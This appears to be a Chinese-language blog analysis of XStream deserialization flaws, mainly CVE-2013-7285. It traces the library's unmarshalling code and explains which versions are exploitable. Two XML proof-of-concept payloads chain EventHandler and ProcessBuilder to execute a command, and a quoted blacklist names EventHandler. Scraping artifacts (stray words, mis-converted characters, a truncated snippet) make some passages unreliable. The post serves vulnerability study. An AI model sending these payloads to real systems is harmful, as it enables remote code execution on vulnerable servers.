Java安全之XStream 漏洞分析

Java安全之XStream 漏洞分析

0x00 前言

很久沒寫漏洞分析文章了,最近感受在審代碼的時候,XStream 組件出現的頻率比較高,藉此來學習一波XStream的漏洞分析。html

0x01 XStream 歷史漏洞

下面羅列一下XStream歷史漏洞java

XStream 遠程代碼執行漏洞 CVE-2013-7285 XStream <= 1.4.6
XStream XXE CVE-2016-3674 XStream <= 1.4.8
XStream 遠程代碼執行漏洞 CVE-2019-10173 XStream < 1.4.10
XStream 遠程代碼執行漏洞 CVE-2020-26217 XStream <= 1.4.13
XStream 遠程代碼執行漏洞 CVE-2021-21344 XStream: <= 1.4.15
XStream 遠程代碼執行漏洞 CVE-2021-21345 XStream: <= 1.4.15
XStream 遠程代碼執行漏洞 CVE-2021-21346 XStream: <= 1.4.15
XStream 遠程代碼執行漏洞 CVE-2021-21347 XStream<= 1.4.15
XStream 遠程代碼執行漏洞 CVE-2021-21350 XStream: <= 1.4.15
XStream 遠程代碼執行漏洞 CVE-2021-21351 XStream: <= 1.4.15
XStream 遠程代碼執行漏洞 CVE-2021-29505 XStream: <= 1.4.16

詳細可查看XStream 官方地址git

0x02 XStream 使用與解析

介紹

XStream是一套簡潔易用的開源類庫,用於將Java對象序列化爲XML或者將XML反序列化爲Java對象,是Java對象和XML之間的一個雙向轉化器。github

使用

序列化

public static void main(String[] args) {
      
        XStream xStream = new XStream();
        Person person = new Person();
        person.setName("xxx");
        person.setAge(22);
        String s = xStream.toXML(person);
        System.out.println(s);
    }
<com.nice0e3.Person>
  <name>xxx</name>
  <age>22</age>
</com.nice0e3.Person>

反序列化

XStream xStream = new XStream();
    String xml =
                "<com.nice0e3.Person>\n" +
                "  <name>xxx</name>\n" +
                "  <age>22</age>\n" +
                "</com.nice0e3.Person>";

        Person person1 = (Person)xStream.fromXML(xml);
        System.out.println(person1);

結果緩存

Person{name='xxx', age=22}

EventHandler類

分析前先來看到EventHandler類,EventHandler類是實現了InvocationHandler的一個類,設計本意是爲交互工具提供beans,創建從用戶界面到應用程序邏輯的鏈接。其中會查看調用的方法是否爲hashCodeequalstoString,若是不爲這三個方法則往下走,而咱們的須要利用的部分在下面。EventHandler.invoke()-->EventHandler.invokeInternal()-->MethodUtil.invoke()任意反射調用。安全

組成部分

XStream 整體由五部分組成

XStream 做爲客戶端對外提供XML解析與轉換的相關方法。app

  1. AbstractDriver 爲XStream提供流解析器和編寫器的建立。目前支持XML(DOM,PULL)、JSON解析器。解析器HierarchicalStreamReader,編寫器HierarchicalStreamWriter(PS:XStream默認使用了XppDriver)。函數

  2. MarshallingStrategy 編組和解組策略的核心接口,兩個方法:
    marshal:編組對象圖
    unmarshal:解組對象圖
    TreeUnmarshaller 樹解組程序,調用mapper和Converter把XML轉化成java對象,裏面的start方法開始解組,convertAnother方法把class轉化成java對象。
    TreeMarshaller 樹編組程序,調用mapper和Converter把java對象轉化成XML,裏面的start方法開始編組,convertAnother方法把java對象轉化成XML。
    它的抽象子類AbstractTreeMarshallingStrategy有抽象兩個方法
    createUnmarshallingContext
    createMarshallingContext
    用來根據不一樣的場景建立不一樣的TreeUnmarshaller子類和TreeMarshaller子類,使用了策略模式,如ReferenceByXPathMarshallingStrategy建立ReferenceByXPathUnmarshallerReferenceByIdMarshallingStrategy建立ReferenceByIdUnmarshaller(PS:XStream默認使用ReferenceByXPathMarshallingStrategy工具

  3. Mapper 映射器,XML的elementName經過mapper獲取對應類、成員、屬性的class對象。支持解組和編組,因此方法是成對存在real 和serialized,他的子類MapperWrapper做爲裝飾者,包裝了不一樣類型映射的映射器,如AnnotationMapperImplicitCollectionMapperClassAliasingMapper學習

  4. ConverterLookup 經過Mapper獲取的Class對象後,接着調用lookupConverterForType獲取對應Class的轉換器,將其轉化成對應實例對象。DefaultConverterLookup是該接口的實現類,同時實現了ConverterRegistry的接口,全部DefaultConverterLookup具有查找converter功能和註冊converter功能。全部註冊的轉換器按必定優先級組成由TreeSet保存的有序集合(PS:XStream 默認使用了DefaultConverterLookup)。

Mapper解析

根據elementName查找對應的Class,首先調用realClass方法,而後realClass方法會在全部包裝層中一層層往下找,並還原elementName的信息,好比在ClassAliasingMapper根據component別名得出Component類,最後在DefaultMapper中調用realClass建立出Class。
CachingMapper-->SecurityMapper-->ArrayMapper-->ClassAliasingMapper-->PackageAliasingMapper-->DynamicProxyMapper--->DefaultMapper

XStream 源碼解析

0x03 漏洞分析

CVE-2013-7285

影響範圍

1.4.x<=1.4.6或1.4.10

漏洞簡介

XStream序列化和反序列化的核心是經過Converter轉換器來將XML和對象之間進行相互的轉換。

XStream反序列化漏洞的存在是由於XStream支持一個名爲DynamicProxyConverter的轉換器,該轉換器能夠將XML中dynamic-proxy標籤內容轉換成動態代理類對象,而當程序調用了dynamic-proxy標籤內的interface標籤指向的接口類聲明的方法時,就會經過動態代理機制代理訪問dynamic-proxy標籤內handler標籤指定的類方法;利用這個機制,攻擊者能夠構造惡意的XML內容,即dynamic-proxy標籤內的handler標籤指向如EventHandler類這種可實現任意函數反射調用的惡意類、interface標籤指向目標程序必然會調用的接口類方法;最後當攻擊者從外部輸入該惡意XML內容後便可觸發反序列化漏洞、達到任意代碼執行的目的。

漏洞分析

public static void main(String[] args) {

        XStream xStream = new XStream();

        String xml =
                "<sorted-set>\n" +
                        "    <string>foo</string>\n" +
                        "    <dynamic-proxy>\n" +
                        "        <interface>java.lang.Comparable</interface>\n" +
                        "        <handler class=\"java.beans.EventHandler\">\n" +
                        "            <target class=\"java.lang.ProcessBuilder\">\n" +
                        "                <command>\n" +
                        "                    <string>cmd</string>\n" +
                        "                    <string>/C</string>\n" +
                        "                    <string>calc</string>\n" +
                        "                </command>\n" +
                        "            </target>\n" +
                        "            <action>start</action>\n" +
                        "        </handler>\n" +
                        "    </dynamic-proxy>\n" +
                        "</sorted-set>";
        
       xStream.fromXML(xml);

    }

一路跟蹤下來代碼走到com.thoughtworks.xstream.core.TreeUnmarshaller#start

public Object start(final DataHolder dataHolder) {
        this.dataHolder = dataHolder;
        //經過mapper獲取對應節點的Class對象
        final Class<?> type = HierarchicalStreams.readClassType(reader, mapper);
        //Converter根據Class的類型轉化成java對象
        final Object result = convertAnother(null, type);
        for (final Runnable runnable : validationList) {
            runnable.run();
        }
        return result;
    }

調用HierarchicalStreams.readClassType方法,從序列化的數據中獲取一個真實的class對象。

public static Class<?> readClassType(final HierarchicalStreamReader reader, final Mapper mapper) {
        if (classAttribute == null) {
        // 經過節點名獲取Mapper中對應的Class
        Class<?> type = mapper.realClass(reader.getNodeName());
        return type;
    }

方法內部調用readClassAttribute。來看到方法

public static String readClassAttribute(HierarchicalStreamReader reader, Mapper mapper) {
    String attributeName = mapper.aliasForSystemAttribute("resolves-to");
    String classAttribute = attributeName == null ? null : reader.getAttribute(attributeName);
    if (classAttribute == null) {
        attributeName = mapper.aliasForSystemAttribute("class");
        if (attributeName != null) {
            classAttribute = reader.getAttribute(attributeName);
        }
    }

    return classAttribute;
}

其中調用獲取調用aliasForSystemAttribute方法獲取別名。

獲取resolves-toclass判斷解析的xml屬性值中有沒有這兩字段。

這裏返回爲空,繼續來看到com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType

爲空的話,則走到這裏

type = mapper.realClass(reader.getNodeName());

獲取當前節點的名稱,並進行返回對應的class對象。

跟蹤mapper.realClass方法。com.thoughtworks.xstream.mapper.CachingMapper#realClass

public Class realClass(String elementName) {
        Object cached = this.realClassCache.get(elementName);
        if (cached != null) {
            if (cached instanceof Class) {
                return (Class)cached;
            } else {
                throw (CannotResolveClassException)cached;
            }
        } else {
            try {
                Class result = super.realClass(elementName);
                this.realClassCache.put(elementName, result);
                return result;
            } catch (CannotResolveClassException var4) {
                this.realClassCache.put(elementName, var4);
                throw var4;
            }
        }
    }

找到別名應的類,存儲到realClassCache中,而且進行返回。

執行完成回到com.thoughtworks.xstream.core.TreeUnmarshaller#start

跟進代碼

Object result = this.convertAnother((Object)null, type);

來到這裏

public Object convertAnother(final Object parent, Class<?> type, Converter converter) {
        //根據mapper獲取type實現類
        type = mapper.defaultImplementationOf(type);
        if (converter == null) {
            //根據type找到對應的converter
            converter = converterLookup.lookupConverterForType(type);
        } else {
            if (!converter.canConvert(type)) {
                final ConversionException e = new ConversionException("Explicitly selected converter cannot handle type");
                e.add("item-type", type.getName());
                e.add("converter-type", converter.getClass().getName());
                throw e;
            }
        }
         // 進行把type轉化成對應的object
        return convert(parent, type, converter);
    }

this.mapper.defaultImplementationOf方法會在mapper對象中去尋找接口的實現類

下面調用 this.converterLookup.lookupConverterForType(type);方法尋找對應類型的轉換器。

public Converter lookupConverterForType(final Class<?> type) {
        //先查詢緩存的類型對應的轉換器集合
        final Converter cachedConverter = type != null ? typeToConverterMap.get(type.getName()) : null;
        if (cachedConverter != null) {
            //返回找到的緩存轉換器
            return cachedConverter;
        }
        
        final Map<String, String> errors = new LinkedHashMap<>();
        //遍歷轉換器集合
        for (final Converter converter : converters) {
            try {
                //判斷是否是符合的轉換器
                if (converter.canConvert(type)) {
                    if (type != null) {
                        //緩存類型對應的轉換器
                        typeToConverterMap.put(type.getName(), converter);
                    }
                    //返回找到的轉換器
                    return converter;
                }
            } catch (final RuntimeException | LinkageError e) {
                errors.put(converter.getClass().getName(), e.getMessage());
            }
        }
}

canConvert 變量全部轉換器,經過調用Converter.canConvert()方法來匹配轉換器是否可以轉換出TreeSet類型,這裏找到知足條件的TreeSetConverter轉換器

下面則是調用this.typeToConverterMap.put(type, converter);將該類和轉換器存儲到map中。

而後將轉換器進行返回。

回到com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother中,執行來到這裏。

protected Object convert(Object parent, Class type, Converter converter) {
        Object result;
        if (this.parentStack.size() > 0) {
            result = this.parentStack.peek();
            if (result != null && !this.values.containsKey(result)) {
                this.values.put(result, parent);
            }
        }

        String attributeName = this.getMapper().aliasForSystemAttribute("reference");
        String reference = attributeName == null ? null : this.reader.getAttribute(attributeName);
        Object cache;
        if (reference != null) {
            cache = this.values.get(this.getReferenceKey(reference));
            if (cache == null) {
                ConversionException ex = new ConversionException("Invalid reference");
                ex.add("reference", reference);
                throw ex;
            }

            result = cache == NULL ? null : cache;
        } else {
            cache = this.getCurrentReferenceKey();
            this.parentStack.push(cache);
            result = super.convert(parent, type, converter);
            if (cache != null) {
                this.values.put(cache, result == null ? NULL : result);
            }

            this.parentStack.popSilently();
        }

        return result;
    }

獲取reference別名後,從xml中獲取reference標籤內容。獲取爲空則調用

this.getCurrentReferenceKey()來獲取當前標籤將當前標籤。

調用this.types.push將獲取的值壓入棧中,跟進查看一下。

public Object push(Object value) {
        if (this.pointer + 1 >= this.stack.length) {
            this.resizeStack(this.stack.length * 2);
        }

        this.stack[this.pointer++] = value;
        return value;
    }

實際上作的操做也只是將值存儲在了this.stack變量裏面。

來到如下代碼

Object result = converter.unmarshal(this.reader, this);

調用傳遞進來的類型轉換器,也就是前面經過匹配獲取到的類型轉換器。調用unmarshal方法,進行xml解析。也就是com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    TreeSet result = null;
    Comparator unmarshalledComparator = this.treeMapConverter.unmarshalComparator(reader, context, (TreeMap)null);
    boolean inFirstElement = unmarshalledComparator instanceof Null;
    Comparator comparator = inFirstElement ? null : unmarshalledComparator;
    TreeMap treeMap;
    if (sortedMapField != null) {
        TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator);
        Object backingMap = null;

        try {
            backingMap = sortedMapField.get(possibleResult);
        } catch (IllegalAccessException var11) {
            throw new ConversionException("Cannot get backing map of TreeSet", var11);
        }

        if (backingMap instanceof TreeMap) {
            treeMap = (TreeMap)backingMap;
            result = possibleResult;
        } else {
            treeMap = null;
        }
    } else {
        treeMap = null;
    }

    if (treeMap == null) {
        PresortedSet set = new PresortedSet(comparator);
        result = comparator == null ? new TreeSet() : new TreeSet(comparator);
        if (inFirstElement) {
            this.addCurrentElementToCollection(reader, context, result, set);
            reader.moveUp();
        }

        this.populateCollection(reader, context, result, set);
        if (set.size() > 0) {
            result.addAll(set);
        }
    } else {
        this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
    }

    return result;
}

調用unmarshalComparator方法判斷是否存在comparator,若是不存在,則返回NullComparator對象。

protected Comparator unmarshalComparator(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result) {
    Comparator comparator;
    if (reader.hasMoreChildren()) {
        reader.moveDown();
        if (reader.getNodeName().equals("comparator")) {
            Class comparatorClass = HierarchicalStreams.readClassType(reader, this.mapper());
            comparator = (Comparator)context.convertAnother(result, comparatorClass);
        } else {
            if (!reader.getNodeName().equals("no-comparator")) {
                return NULL_MARKER;
            }

            comparator = null;
        }

        reader.moveUp();
    } else {
        comparator = null;
    }

    return comparator;
}

回到com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal

獲取爲空,則 inFirstElement爲false,下面的代碼comparator變量中三目運算返回null。而possibleResult也是建立的是一個空的TreeSet對象。然後則是一些賦值,就不必一一去看了。來看到重點部分。

this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);

跟進一下。

protected void populateTreeMap(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result, Comparator comparator) {
        boolean inFirstElement = comparator == NULL_MARKER;
        if (inFirstElement) {
            comparator = null;
        }

        SortedMap sortedMap = new PresortedMap(comparator != null && JVM.hasOptimizedTreeMapPutAll() ? comparator : null);
        if (inFirstElement) {
            this.putCurrentEntryIntoMap(reader, context, result, sortedMap);
            reader.moveUp();
        }

        this.populateMap(reader, context, result, sortedMap);

        try {
            if (JVM.hasOptimizedTreeMapPutAll()) {
                if (comparator != null && comparatorField != null) {
                    comparatorField.set(result, comparator);
                }

                result.putAll(sortedMap);
            } else if (comparatorField != null) {
                comparatorField.set(result, sortedMap.comparator());
                result.putAll(sortedMap);
                comparatorField.set(result, comparator);
            } else {
                result.putAll(sortedMap);
            }

        } catch (IllegalAccessException var8) {
            throw new ConversionException("Cannot set comparator of TreeMap", var8);
        }
    }

下面調用了this.putCurrentEntryIntoMap跟進查看一下。

讀取標籤內的內容並緩存到target這個Map中。

reader.moveUp()日後解析xml

而後調用this.populateMap(reader, context, result, sortedMap);

跟進方法查看

protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, final Map target) {
                TreeSetConverter.this.populateCollection(reader, context, new AbstractList() {
                    public boolean add(Object object) {
                        return target.put(object, object) != null;
                    }

                    public Object get(int location) {
                        return null;
                    }

                    public int size() {
                        return target.size();
                    }
                });
            }

其中調用populateCollection用來循環遍歷子標籤中的元素並添加到集合中。

調用addCurrentElementToCollection-->readItem

protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {
        Class type = HierarchicalStreams.readClassType(reader, this.mapper());
        return context.convertAnother(current, type);
    }

讀取標籤內容,而且獲取轉換成對應的類,最後將類添加到targer中。

跟蹤一下看看。大概流程和前面的同樣。

一路跟蹤來到

com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal

前面得到的DynamicProxyConverter

這就獲取到了一個動態代理的類。EventHandler

com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap中調用result.putAll,也就是代理了EventHandler類的putALL。動態代理特性則會觸發,EventHandler.invoke

invoke的主要實現邏輯在invokeInternal

怎麼說呢,總體一套流程其實就是一個解析的過程。從com.thoughtworks.xstream.core.TreeUnmarshaller#start方法開始解析xml,調用HierarchicalStreams.readClassType經過標籤名獲取Mapper中對於的class對象。獲取class完成後調用com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother,該方法會根據class轉換爲對於的Java對象。convertAnother的實現是mapper.defaultImplementationOf方法查找class實現類。根據實現類獲取對應轉換器,獲取轉換器部分的實現邏輯是ConverterLookup中的lookupConverterForType方法,先從緩存集合中查找Converter,遍歷converters找到符合的Converter。隨後,調用convert返回object對象。convert方法實現邏輯是調用獲取到的converter轉換器的unmarshal方法來根據獲取的對象,繼續讀取子節點,並轉化成對象對應的變量。直到讀取到最後一個節點退出循環。最終獲取到java對象中的變量值也都設置,整個XML解析過程就結束了。

POC2

<tree-map>
    <entry>
        <string>fookey</string>
        <string>foovalue</string>
    </entry>
    <entry>
        <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class="java.beans.EventHandler">
                <target class="java.lang.ProcessBuilder">
                    <command>
                        <string>calc.exe</string>
                    </command>
                </target>
                <action>start</action>
            </handler>
        </dynamic-proxy>
        <string>good</string>
    </entry>
</tree-map>

咱們第一個payload使用的是sortedset接口在com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother方法中this.mapper.defaultImplementationOf(type);

尋找到的實現類爲java.util.TreeSet。根據實現類尋找到的轉換器即TreeSetConverter

這裏使用的是tree-map,獲取的實現類是他自己,轉換器則是TreeMapConverter。一樣是經過動態代理的map對象,調用putAll方法觸發到EventHandler.invoke裏面實現任意反射調用。

1.3.1版本沒法利用緣由

com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType

該行代碼爆出Method threw 'com.thoughtworks.xstream.mapper.CannotResolveClassException' exception.沒法解析異常。

發現是從遍歷去調用map,調用realClass查找這裏並無從map中找到對應的class。因此這裏報錯了。

1.4.7-1.4.9版本沒法利用緣由

com.thoughtworks.xstream.core.TreeUnmarshaller#start

Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);
Object result = this.convertAnother((Object)null, type);

獲取class部分紅功了,報錯位置在調用this.convertAnother轉換成Object對象步驟上。

跟進查看一下。

EventHandler的處理由ReflectionConverter來處理的,在1.4.7-1.4.9版本。添加了canConvert方法的判斷。

1.4.10版本payload可利用緣由

com.thoughtworks.xstream.converters.reflection.ReflectionConverter#canConvert中沒了對EventHandler類的判斷。

1.4.10版本之後添加了XStream.setupDefaultSecurity(xStream)方法的支持。

com.thoughtworks.xstream.XStream$InternalBlackList#canConvert

public boolean canConvert(Class type) {
            return type == Void.TYPE || type == Void.class || XStream.this.insecureWarning && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
        }

添加黑名單判斷。

0x04 結尾

篇章略長,分開幾部分來寫。

相關文章
相關標籤/搜索